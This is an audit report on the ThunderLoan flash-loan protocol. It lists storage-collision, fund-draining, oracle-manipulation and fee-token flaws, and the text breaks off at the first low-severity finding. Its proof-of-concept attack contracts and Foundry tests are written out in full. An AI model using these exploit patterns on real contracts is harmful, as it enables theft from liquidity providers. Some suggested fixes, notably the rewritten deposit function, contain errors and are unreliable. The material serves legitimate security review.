ThunderLoan Protocol Audit Report

Version 1.0

0xl33

December 15, 2024

ThunderLoan Protocol Audit Report

0xl33

December 15, 2024

Prepared by: 0xl33

Table of Contents

- Medium
  - [M-1] `ThunderLoan::setAllowedToken` can permanently lock liquidity providers out from redeeming their tokens
  - [M-2] Using `TSwap` as price oracle can lead to price oracle manipulation attacks
  - [M-3] `ThunderLoan::deposit` function is not compatible with tokens that have transfer fees
- Low
  - [L-1] `ThunderLoan::getCalculatedFee` can return 0, which leads to reverted transactions
  - [L-2] `updateFlashLoanFee()` missing event

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	2
Total	9

Findings

High

[H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: The `ThunderLoanUpgraded.sol` storage layout is not compatible with the storage layout of `ThunderLoan.sol`, which will cause storage collision and mismatch of variables at the time of upgrade.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged a 100% fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Concept:

Add this function to ThunderLoanTest.t.sol:

```
function testUpgradeBreaks() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
    thunderLoan.upgradeToAndCall(address(upgraded), "");
    uint256 feeAfterUpgrade = thunderLoan.getFee();
    vm.stopPrank();

    assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

Test it with this command:

```
forge test --mt testUpgradeBreaks
```

You will notice that the test will pass, because `feeBeforeUpgrade` is not equal to `feeAfterUpgrade` .

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

Summary: Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited.

Details:

Per documentation:

> Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!**

Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner.

Impact: Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all.

Proof of Concept:

Add this function to ThunderLoanTest.t.sol:

```
function testExchangeRateUpdatedOnDeposit() public setAllowedToken {
    tokenA.mint(liquidityProvider, AMOUNT);
    tokenA.mint(user, AMOUNT);

    // deposit some tokenA into ThunderLoan
    vm.startPrank(liquidityProvider);
```

```
7       tokenA.approve(address(thunderLoan), AMOUNT);
8       thunderLoan.deposit(tokenA, AMOUNT);
9       vm.stopPrank();
10
11      // another user also makes a deposit
12      vm.startPrank(user);
13      tokenA.approve(address(thunderLoan), AMOUNT);
14      thunderLoan.deposit(tokenA, AMOUNT);
15      vm.stopPrank();
16
17      AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
18
19      // after a deposit, asset token's exchange rate has aleady
            increased
20      // this is only supposed to happen when users take flash loans with
             underlying
21      assertGt(assetToken.getExchangeRate(), 1 * assetToken.
            EXCHANGE_RATE_PRECISION());
22
23      // now liquidityProvider withdraws and gets more back because
            exchange
24      // rate is increased but no flash loans were taken out yet
25      // repeatedly doing this could drain all underlying for any asset
            token
26      vm.startPrank(liquidityProvider);
27      thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider))
            ;
28      vm.stopPrank();
29
30      assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT);
31  }
```

Test it with this command:

```
forge test --mt testExchangeRateUpdatedOnDeposit
```

You will notice that the test will pass, because `tokenA.balanceOf(liquidityProvider)` will be greater than `AMOUNT`.

Recommended Mitigation:

It is recommended to not update exchange rate on deposits and update it only when flash loans are taken, as per documentation.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2       AssetToken assetToken = s_tokenToAssetToken[token];
3       uint256 exchangeRate = assetToken.getExchangeRate();
4       uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
            ) / exchangeRate;
5       emit Deposit(msg.sender, token, amount);
```

```
6       assetToken.mint(msg.sender, mintAmount);
7   -   uint256 calculatedFee = getCalculatedFee(token, amount);
8   -   assetToken.updateExchangeRate(calculatedFee);
9       token.safeTransferFrom(msg.sender, address(assetToken), amount);
10  }
```

[H-3] Fees calculated are far smaller for non-standard ERC20 tokens, who have less decimals

Summary: Within the functions `ThunderLoan::getCalculatedFee()` and `ThunderLoanUpgraded::getCalculatedFee()`, an issue arises with the calculated fee value when dealing with non-standard ERC20 tokens. Specifically, the calculated value for non-standard tokens appears significantly lower compared to that of standard ERC20 tokens.

Vulnerability Details:

```
1  // ThunderLoan.sol
2   function getCalculatedFee(IERC20 token, uint256 amount) public view
       returns (uint256 fee) {
3           //slither-disable-next-line divide-before-multiply
4  @>       uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
       (token))) / s_feePrecision;
5           //slither-disable-next-line divide-before-multiply
6  @>       fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
7       }
```

```
1  // ThunderLoanUpgraded.sol
2
3   function getCalculatedFee(IERC20 token, uint256 amount) public view
       returns (uint256 fee) {
4           //slither-disable-next-line divide-before-multiply
5  @>       uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
       (token))) / FEE_PRECISION;
6           //slither-disable-next-line divide-before-multiply
7  @>       fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
8       }
```

Impact: Taking flashloans of tokens that have less than 18 decimals, makes the fee much smaller.

Proof of Concept:

Let's say: - user_1 takes a flashloan of 1 ETH. - user_2 takes a flashloan of 2000 USDT.

```
1  function getCalculatedFee(IERC20 token, uint256 amount) public view
       returns (uint256 fee) {
2
3           //1 ETH = 1e18 WEI
4           //2000 USDT = 2 * 1e9 WEI
5
```

```
6           uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
                (token))) / s_feePrecision;
7
8           // valueOfBorrowedToken ETH = 1e18 * 1e18 / 1e18 WEI
9           // valueOfBorrowedToken USDT= 2 * 1e9 * 1e18 / 1e18 WEI
10
11          fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
12
13          //fee ETH = 1e18 * 3e15 / 1e18 = 3e15 WEI = 0,003 ETH
14          //fee USDT: 2 * 1e9 * 3e15 / 1e18 = 6e6 WEI = 0,000000000006
                ETH
15      }
```

The fee for user_2 is much lower than for user_1, despite them taking a flashloan of approximately the same value (in the case where: 1 ETH = 2000 USDT).

Recommended Mitigation: Adjust the precision accordingly with the allowed tokens, considering that non-standard ERC20s could have less than 18 decimals.

[H-4] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay`, users can steal all funds from the protocol

Summary: An attacker can acquire a flash loan and deposit funds directly into the contract using the `ThunderLoan::deposit` function, which enables draining all the funds.

Vulnerability Details: The `flashloan` function performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing `endingBalance` with `startingBalance + fee`. However, a vulnerability emerges when calculating endingBalance using `token.balanceOf(address(assetToken))`.

Exploiting this vulnerability, an attacker can return the flash loan using the `deposit` function, instead of `repay` function. This action allows the attacker to mint `AssetToken` and subsequently redeem it using the `redeem` function. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

Impact: All the funds in the `AssetToken.sol` contract can be stolen.

Proof of Concept:

To execute the test successfully, please complete the following steps: 1. Place the `attack.sol` file within the mocks folder. 2. Import the contract in `ThunderLoanTest.t.sol`. 3. Add `testattack` function in `ThunderLoanTest.t.sol`. 4. Change the `setUp` function in `ThunderLoanTest.t.sol`.

```
import { Attack } from "../mocks/attack.sol";
```

```
function testattack() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        vm.startPrank(user);
        tokenA.mint(address(attack), AMOUNT);
        thunderLoan.flashloan(address(attack), tokenA, amountToBorrow,
            "");
        attack.sendAssetToken(address(thunderLoan.getAssetFromToken(
            tokenA)));
        thunderLoan.redeem(tokenA, type(uint256).max);
        vm.stopPrank();

        assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken
            (tokenA))), DEPOSIT_AMOUNT);
    }
```

```
function setUp() public override {
        super.setUp();
        vm.prank(user);
        mockFlashLoanReceiver = new MockFlashLoanReceiver(address(
            thunderLoan));
        vm.prank(user);
        attack = new Attack(address(thunderLoan));
    }
```

attack.sol:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
    ;
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
    SafeERC20.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/
    IFlashLoanReceiver.sol";

interface IThunderLoan {
    function repay(address token, uint256 amount) external;
    function deposit(IERC20 token, uint256 amount) external;
    function getAssetFromToken(IERC20 token) external;
}


contract Attack {
    error MockFlashLoanReceiver__onlyOwner();
    error MockFlashLoanReceiver__onlyThunderLoan();

    using SafeERC20 for IERC20;
```

```
20
21      address s_owner;
22      address s_thunderLoan;
23
24      uint256 s_balanceDuringFlashLoan;
25      uint256 s_balanceAfterFlashLoan;
26
27      constructor(address thunderLoan) {
28          s_owner = msg.sender;
29          s_thunderLoan = thunderLoan;
30          s_balanceDuringFlashLoan = 0;
31      }
32
33      function executeOperation(
34          address token,
35          uint256 amount,
36          uint256 fee,
37          address initiator,
38          bytes calldata /*  params */
39      )
40          external
41          returns (bool)
42      {
43          s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
                ));
44
45          if (initiator != s_owner) {
46              revert MockFlashLoanReceiver__onlyOwner();
47          }
48
49          if (msg.sender != s_thunderLoan) {
50              revert MockFlashLoanReceiver__onlyThunderLoan();
51          }
52          IERC20(token).approve(s_thunderLoan, amount + fee);
53          IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee
                );
54          s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)
                );
55          return true;
56      }
57
58      function getbalanceDuring() external view returns (uint256) {
59          return s_balanceDuringFlashLoan;
60      }
61
62      function getBalanceAfter() external view returns (uint256) {
63          return s_balanceAfterFlashLoan;
64      }
65
66      function sendAssetToken(address assetToken) public {
67
```

```
68          IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).
               balanceOf(address(this)));
69      }
70  }
```

Notice that the `assertLt` function checks whether the balance of the `AssetToken` contract is less than the `DEPOSIT_AMOUNT`, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher.

Recommended Mitigation:

Add a check in `deposit` function to make it impossible to use it in the same block of the flash loan. For example registring the `block.number` in a variable in `flashloan` function and checking it in `deposit` function.

Medium

[M-1] `ThunderLoan::setAllowedToken` can permanently lock liquidity providers out from redeeming their tokens

Summary: If the `ThunderLoan::setAllowedToken` function is called with the intention of setting an allowed token to **`false`** and thus deleting the assetToken-to-token mapping; nobody would be able to redeem funds of that token in the `ThunderLoan::redeem` function and thus have them locked away without access.

Vulnerability Details:

If the owner sets an allowed token to **`false`**, this deletes the mapping of the asset token to that ERC20. If this is done, and a liquidity provider has already deposited ERC20 tokens of that type, then the liquidity provider will not be able to redeem them in the `ThunderLoan::redeem` function.

```
1       function setAllowedToken(IERC20 token, bool allowed) external
           onlyOwner returns (AssetToken) {
2           if (allowed) {
3               if (address(s_tokenToAssetToken[token]) != address(0)) {
4                   revert ThunderLoan__AlreadyAllowed();
5               }
6               string memory name = string.concat("ThunderLoan ",
                   IERC20Metadata(address(token)).name());
7               string memory symbol = string.concat("tl", IERC20Metadata(
                   address(token)).symbol());
8               AssetToken assetToken = new AssetToken(address(this), token
                   , name, symbol);
9               s_tokenToAssetToken[token] = assetToken;
10              emit AllowedTokenSet(token, assetToken, allowed);
11              return assetToken;
```

```
12          } else {
13              AssetToken assetToken = s_tokenToAssetToken[token];
14  @>          delete s_tokenToAssetToken[token];
15              emit AllowedTokenSet(token, assetToken, allowed);
16              return assetToken;
17          }
18      }
```

```
1       function redeem(
2           IERC20 token,
3           uint256 amountOfAssetToken
4       )
5           external
6           revertIfZero(amountOfAssetToken)
7   @>      revertIfNotAllowedToken(token)
8       {
9           AssetToken assetToken = s_tokenToAssetToken[token];
10          uint256 exchangeRate = assetToken.getExchangeRate();
11          if (amountOfAssetToken == type(uint256).max) {
12              amountOfAssetToken = assetToken.balanceOf(msg.sender);
13          }
14          uint256 amountUnderlying = (amountOfAssetToken * exchangeRate)
                / assetToken.EXCHANGE_RATE_PRECISION();
15          emit Redeemed(msg.sender, token, amountOfAssetToken,
                amountUnderlying);
16          assetToken.burn(msg.sender, amountOfAssetToken);
17          assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
18      }
```

Impact: Liquidity providers will not be able to redeem their deposited tokens, thus losing money.

Proof of Concept:

The below test passes with a `ThunderLoan__NotAllowedToken` error. Proving that a liquidity provider cannot redeem their deposited tokens if `setAllowedToken` is set to **`false`**, Locking them out of their tokens.

```
1       function testCannotRedeemNonAllowedTokenAfterDepositingToken()
            public {
2           vm.prank(thunderLoan.owner());
3           AssetToken assetToken = thunderLoan.setAllowedToken(tokenA,
                true);
4
5           tokenA.mint(liquidityProvider, AMOUNT);
6           vm.startPrank(liquidityProvider);
7           tokenA.approve(address(thunderLoan), AMOUNT);
8           thunderLoan.deposit(tokenA, AMOUNT);
9           vm.stopPrank();
10
11          vm.prank(thunderLoan.owner());
```

```
12          thunderLoan.setAllowedToken(tokenA, false);
13
14          vm.expectRevert(abi.encodeWithSelector(ThunderLoan.
               ThunderLoan__NotAllowedToken.selector, address(tokenA)));
15          vm.startPrank(liquidityProvider);
16          thunderLoan.redeem(tokenA, AMOUNT_LESS);
17          vm.stopPrank();
18      }
```

Recommended Mitigation:

It would be wise to add a check if `AssetToken` contract holds any balance of the ERC20, and if so, then the owner should not be able to remove the mapping.

```
1       function setAllowedToken(IERC20 token, bool allowed) external
           onlyOwner returns (AssetToken) {
2           if (allowed) {
3               if (address(s_tokenToAssetToken[token]) != address(0)) {
4                   revert ThunderLoan__AlreadyAllowed();
5               }
6               string memory name = string.concat("ThunderLoan ",
                   IERC20Metadata(address(token)).name());
7               string memory symbol = string.concat("tl", IERC20Metadata(
                   address(token)).symbol());
8               AssetToken assetToken = new AssetToken(address(this), token
                   , name, symbol);
9               s_tokenToAssetToken[token] = assetToken;
10              emit AllowedTokenSet(token, assetToken, allowed);
11              return assetToken;
12          } else {
13              AssetToken assetToken = s_tokenToAssetToken[token];
14  +           uint256 hasTokenBalance = IERC20(token).balanceOf(address(
        assetToken));
15  +           if (hasTokenBalance == 0) {
16                  delete s_tokenToAssetToken[token];
17                  emit AllowedTokenSet(token, assetToken, allowed);
18  +           }
19              return assetToken;
20          }
21      }
```

[M-2] Using TSwap as price oracle can lead to price oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact:

An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either:

1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price.
2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small.

The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding.

Proof of Concept:

Working test case:

The attacking contract implements an `executeOperation` function which, when called via the `ThunderLoan` contract, will perform the following sequence of function calls:

- Calls the mock pool contract to set the price (simulating manipulating the price)
- Repay the initial loan
- Re-calls `flashloan`, taking a large loan now with a reduced fee
- Repay second loan

```
1  // SPDX-License-Identifier: MIT
2  pragma solidity 0.8.20;
3
4  import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
       ;
5  import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
       SafeERC20.sol";
6  import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/
       IFlashLoanReceiver.sol";
7  import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
       ;
8  import { MockTSwapPool } from "./MockTSwapPool.sol";
9  import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
10
11 contract AttackFlashLoanReceiver {
12     error AttackFlashLoanReceiver__onlyOwner();
13     error AttackFlashLoanReceiver__onlyThunderLoan();
14
```

```
15      using SafeERC20 for IERC20;
16
17      address s_owner;
18      address s_thunderLoan;
19
20      uint256 s_balanceDuringFlashLoan;
21      uint256 s_balanceAfterFlashLoan;
22
23      uint256 public attackAmount = 1e20;
24      uint256 public attackFee1;
25      uint256 public attackFee2;
26      address tSwapPool;
27      IERC20 tokenA;
28
29      constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA
            ) {
30          s_owner = msg.sender;
31          s_thunderLoan = thunderLoan;
32          s_balanceDuringFlashLoan = 0;
33          tSwapPool = _tSwapPool;
34          tokenA = _tokenA;
35      }
36
37      function executeOperation(
38          address token,
39          uint256 amount,
40          uint256 fee,
41          address initiator,
42          bytes calldata params
43      )
44          external
45          returns (bool)
46      {
47          s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
                ));
48
49          // check if it is the first time through the reentrancy
50          bool isFirst = abi.decode(params, (bool));
51
52          if (isFirst) {
53              // Manipulate the price
54              MockTSwapPool(tSwapPool).setPrice(1e15);
55              // repay the initial, small loan
56              IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6);
57              IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 +
                    attackFee1);
58              ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA,
                     attackAmount, abi.encode(false));
59              attackFee1 = fee;
60              return true;
61          } else {
```

```
62              attackFee2 = fee;
63              // simulate withdrawing the funds from the price pool
64             //MockTSwapPool(tSwapPool).setPrice(1e18);
65              // repay the second, large low fee loan
66              IERC20(token).approve(s_thunderLoan, attackAmount +
                    attackFee2);
67              IThunderLoan(s_thunderLoan).repay(address(tokenA),
                    attackAmount + attackFee2);
68              return true;
69          }
70      }
71
72      function getbalanceDuring() external view returns (uint256) {
73          return s_balanceDuringFlashLoan;
74      }
75
76      function getBalanceAfter() external view returns (uint256) {
77          return s_balanceAfterFlashLoan;
78      }
79  }
```

The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack.

```
1  function test_poc_smallFeeReentrancy() public setAllowedToken
       hasDeposits {
2      uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price()
           ;
3      console.log("price before: ", price);
4      // borrow a large amount to perform the price oracle manipulation
5      uint256 amountToBorrow = 1e6;
6      bool isFirstCall = true;
7      bytes memory params = abi.encode(isFirstCall);
8
9      uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA,
           attackFlashLoanReceiver.attackAmount());
10
11     // Give the attacking contract reserve tokens for the price oracle
           manipulation & paying fees
12     // For a less funded attacker, they could use the initial flash
           loan to perform the manipulation but pay a higher initial fee
13     tokenA.mint(address(attackFlashLoanReceiver), AMOUNT);
14
15     vm.startPrank(user);
16     thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA,
           amountToBorrow, params);
17     vm.stopPrank();
18     assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2());
19     uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).
           price();
20     console.log("price after: ", priceAfter);
```

```
21
22      console.log("expectedSecondFee: ", expectedSecondFee);
23      console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2());
24      console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1());
25  }
```

```
1  $ forge test --mt test_poc_smallFeeReentrancy -vvvv
2
3  // output
4  Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
5  [PASS] test_poc_smallFeeReentrancy() (gas: 1162442)
6  Logs:
7    price before:  1000000000000000000
8    price after:  1000000000000000
9    expectedSecondFee:  300000000000000000
10   attackFee2:  300000000000000
11   attackFee1:  3000
12 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms
```

Since the test passed, the fee has been successfully reduced due to price oracle manipulation.

Recommended Mitigation: Use a manipulation-resistant oracle such as Chainlink.

[M-3] `ThunderLoan::deposit` function is not compatible with tokens that have transfer fees

Summary: Using "weird" ERC20s that have transfer fees and calling `ThunderLoan::deposit` makes the contract receive less tokens than inputted as `amount`, but mints asset tokens for the caller according to the inputted value, not the actual.

Vulnerability Details:

Some ERC20 tokens have transfer fees implemented like autoLP fee, marketing fee etc. So, for example, when someone transfers 100 tokens and the transfer fee is 1%, then the receiver will get only 99 tokens.

`ThunderLoan::deposit` function mints asset tokens based on the amount of tokens that the caller has inputted as the `amount` parameter.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4      @>  uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7          uint256 calculatedFee = getCalculatedFee(token, amount);
```

```
8           assetToken.updateExchangeRate(calculatedFee);
9           token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
10      }
```

As you can see in the highlighted line, it calculates the token amount based on `amount` rather actual token amount received by the contract. Due to this, if a user tries to call `redeem` function and input their full asset token balance as `amountOfAssetToken`, the transaction will revert due to the contract having insufficient funds.

Impact: Loss of user funds.

Proof of Concept:

Tokens like `STA` and `PAXG` have fees on every transfer which means token receiver will receive less token amount, than the amount being sent. Let's consider example of `STA` here, which has 1% fees on every transfer. When user puts 100 tokens as input, then contract will receive only 99 tokens, as 1% goes to burn address (as per `STA` token contract design).

Imagine a scenario where:

1. Alice initiates a transaction to call `deposit` with 1 million `STA`. Attacker notices the transaction and frontruns Alice, by calling `deposit` with 2 million `STA` before her. So contract will receive `990,000` tokens from Alice and `198000` tokens from attacker.
2. Attacker calls `withdraw` using the full asset token amount he received while depositing. Attacker gets 1% more than he is supposed to get, as `fee` is deducted from contract's balance.
3. Alice won't be able to claim her full underlying token amount.

Here is a given example in foundry where we use an underlying token which has 1% fees:

add this custom mock token contract to the `mocks` folder:

```
1  // SPDX-License-Identifier: MIT
2  pragma solidity ^0.8.20;
3
4  import {ERC20} from "../token/ERC20/ERC20.sol";
5
6  contract CustomERC20Mock is ERC20 {
7      constructor() ERC20("ERC20Mock", "E20M") {}
8
9      function mint(address account, uint256 amount) external {
10         _mint(account, amount);
11     }
12
13     function burn(address account, uint256 amount) external {
14         _burn(account, amount);
15     }
16
```

```
17      function _transfer(address from, address to, uint256 amount)
            internal override {
18          _burn(from, amount/100);
19          super._transfer(from, to, amount - (amount/100));
20      }
21  }
```

In `BaseTest.t.sol` we import custom ERC20 for underlying token creation which has 1% fees on transfers.

Update the `BaseTest.t.sol` file like this:

```
1  // SPDX-License-Identifier: MIT
2  pragma solidity 0.8.20;
3
4    import { Test, console } from "forge-std/Test.sol";
5    import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
6    import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.
         sol";
7    import { MockTSwapPool } from "../mocks/MockTSwapPool.sol";
8    import { MockPoolFactory } from "../mocks/MockPoolFactory.sol";
9  + import { CustomERC20Mock } from "../mocks/CustomERC20Mock.sol";
10   import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/
         ERC1967Proxy.sol";
11
12 contract BaseTest is Test {
13     ThunderLoan thunderLoanImplementation;
14     MockPoolFactory mockPoolFactory;
15     ERC1967Proxy proxy;
16     ThunderLoan thunderLoan;
17
18     ERC20Mock weth;
19 -   ERC20Mock tokenA;
20 +   CustomERC20Mock tokenA;
21
22     function setUp() public virtual {
23         thunderLoan = new ThunderLoan();
24         mockPoolFactory = new MockPoolFactory();
25
26         weth = new ERC20Mock();
27 -       tokenA = new ERC20Mock();
28 +       tokenA = new CustomERC20Mock();
29
30         mockPoolFactory.createPool(address(tokenA));
31         proxy = new ERC1967Proxy(address(thunderLoan), "");
32         thunderLoan = ThunderLoan(address(proxy));
33         thunderLoan.initialize(address(mockPoolFactory));
34     }
35 }
```

Add this test function to `ThunderLoanTest.t.sol`:

```
    function testAttackerGettingMoreTokens() public setAllowedToken {
        tokenA.mint(attacker, ATTACKER_AMOUNT);
        tokenA.mint(alice, ALICE_AMOUNT);
        vm.startPrank(attacker);
        tokenA.approve(address(thunderLoan), ATTACKER_AMOUNT);
        // first deposit in contract by attacker
        thunderLoan.deposit(tokenA, ATTACKER_AMOUNT);
        vm.stopPrank();
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
        uint256 contractBalanceAfterAttackerDeposit = tokenA.balanceOf(
            address(asset));
        uint256 difference = ATTACKER_AMOUNT -
            contractBalanceAfterAttackerDeposit;
        uint256 attackerAssetTokenBalance = asset.balanceOf(attacker);
        console2.log(contractBalanceAfterAttackerDeposit, " contract
            balance of token A after first deposit");
        console2.log(attackerAssetTokenBalance, " attacker's balance of
             asset token");
        console2.log(difference, " difference between expected amount
            and actual amount");


        vm.startPrank(alice);
        tokenA.approve(address(thunderLoan), ALICE_AMOUNT);
        thunderLoan.deposit(tokenA, ALICE_AMOUNT);
        vm.stopPrank();
        uint256 actualAmountDepositedByUser = tokenA.balanceOf(address(
            asset)) - contractBalanceAfterAttackerDeposit;
        console2.log(ALICE_AMOUNT, " input by alice");
        console2.log(actualAmountDepositedByUser, " actual amount
            deposited by Alice");
        console2.log(tokenA.balanceOf(address(asset)), " thunderloan
            balance of Token A after Alice deposit");
        console2.log(asset.balanceOf(alice), " Alice's asset token
            balance");

        vm.startPrank(attacker);
        thunderLoan.redeem(tokenA, asset.balanceOf(attacker));
        console2.log(tokenA.balanceOf(attacker), " attacker's balance")
            ; // amount he claimed
        vm.stopPrank();

        // if alice tries to claim her underlying tokens now, tx will
            fail as contract doesn't have enough funds

        vm.startPrank(alice);
        uint256 amountToClaim = asset.balanceOf(alice);
        vm.expectRevert();
        thunderLoan.redeem(tokenA, amountToClaim);
        vm.stopPrank();
```

```
40
41      }
```

Run the following command in terminal: `forge test --mt testAttackerGettingMoreTokens -vv`

Recommended Mitigation:

Either Do not use fee tokens or implement correct accounting by checking the received balance and use that value for calculation.

deposit function can be written like this:

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4  +       uint256 amountBefore = IERC20(token).balanceOf(address(this));
5  +       token.safeTransferFrom(msg.sender, address(assetToken), amount)
       ;
6  +       uint256 amountAfter = IERC20(token).balanceOf(address(this));
7  +       uint256 amount = AmountAfter - amountBefore;
8          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
9          emit Deposit(msg.sender, token, amount);
10         assetToken.mint(msg.sender, mintAmount);
11         uint256 calculatedFee = getCalculatedFee(token, amount);
12 -       assetToken.updateExchangeRate(calculatedFee);
13         token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
14     }
```

Low

[L-1] `ThunderLoan::getCalculatedFee` can return 0, which leads to reverted transactions

Vulnerability Details:

When calling `ThunderLoan::getCalculatedFee`, any value up to 333 inputted as `amount` can result in a returned value of 0.

